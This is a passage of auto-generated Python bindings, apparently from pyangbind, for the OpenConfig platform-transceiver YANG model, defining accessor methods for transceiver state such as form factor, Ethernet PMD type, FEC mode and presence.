self.__form_factor_preconf = t if hasattr(self, '_set'): self._set() def _unset_form_factor_preconf(self): self.__form_factor_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_ethernet_pmd_preconf(self): """ Getter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ return self.__ethernet_pmd_preconf def _set_ethernet_pmd_preconf(self, v, load=False): """ Setter method for ethernet_pmd_preconf, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd_preconf (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd_preconf is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd_preconf() directly. YANG Description: The Ethernet PMD is a property of the optical transceiver used on the port, indicating the type of physical connection. It is included in configuration data to allow pre-configuring a port/transceiver with the expected PMD. The actual PMD is indicated by the ethernet-pmd state leaf. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd_preconf must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__ethernet_pmd_preconf = t if hasattr(self, '_set'): self._set() def _unset_ethernet_pmd_preconf(self): self.__ethernet_pmd_preconf = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd-preconf", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_mode(self): """ Getter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ return self.__fec_mode def _set_fec_mode(self, v, load=False): """ Setter method for fec_mode, mapped from YANG variable /components/component/transceiver/state/fec_mode (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_fec_mode is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_mode() directly. YANG Description: The FEC mode indicates the mode of operation for the transceiver's FEC. This defines typical operational modes and does not aim to specify more granular FEC capabilities. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_mode must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_mode = t if hasattr(self, '_set'): self._set() def _unset_fec_mode(self): self.__fec_mode = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_ENABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_DISABLED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_AUTO': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-mode", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_present(self): """ Getter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) YANG Description: Indicates whether a transceiver is present in the specified client port. """ return self.__present def _set_present(self, v, load=False): """ Setter method for present, mapped from YANG variable /components/component/transceiver/state/present (enumeration) If this variable is read-only (config: false) in the source YANG file, then _set_present is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_present() directly. YANG Description: Indicates whether a transceiver is present in the specified client port. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """present must be of a type compatible with enumeration""", 'defined-type': "openconfig-platform-transceiver:enumeration", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False)""", }) self.__present = t if hasattr(self, '_set'): self._set() def _unset_present(self): self.__present = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'PRESENT': {}, 'NOT_PRESENT': {}},), is_leaf=True, yang_name="present", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='enumeration', is_config=False) def _get_form_factor(self): """ Getter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ return self.__form_factor def _set_form_factor(self, v, load=False): """ Setter method for form_factor, mapped from YANG variable /components/component/transceiver/state/form_factor (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_form_factor is considered as a private method. Backends looking 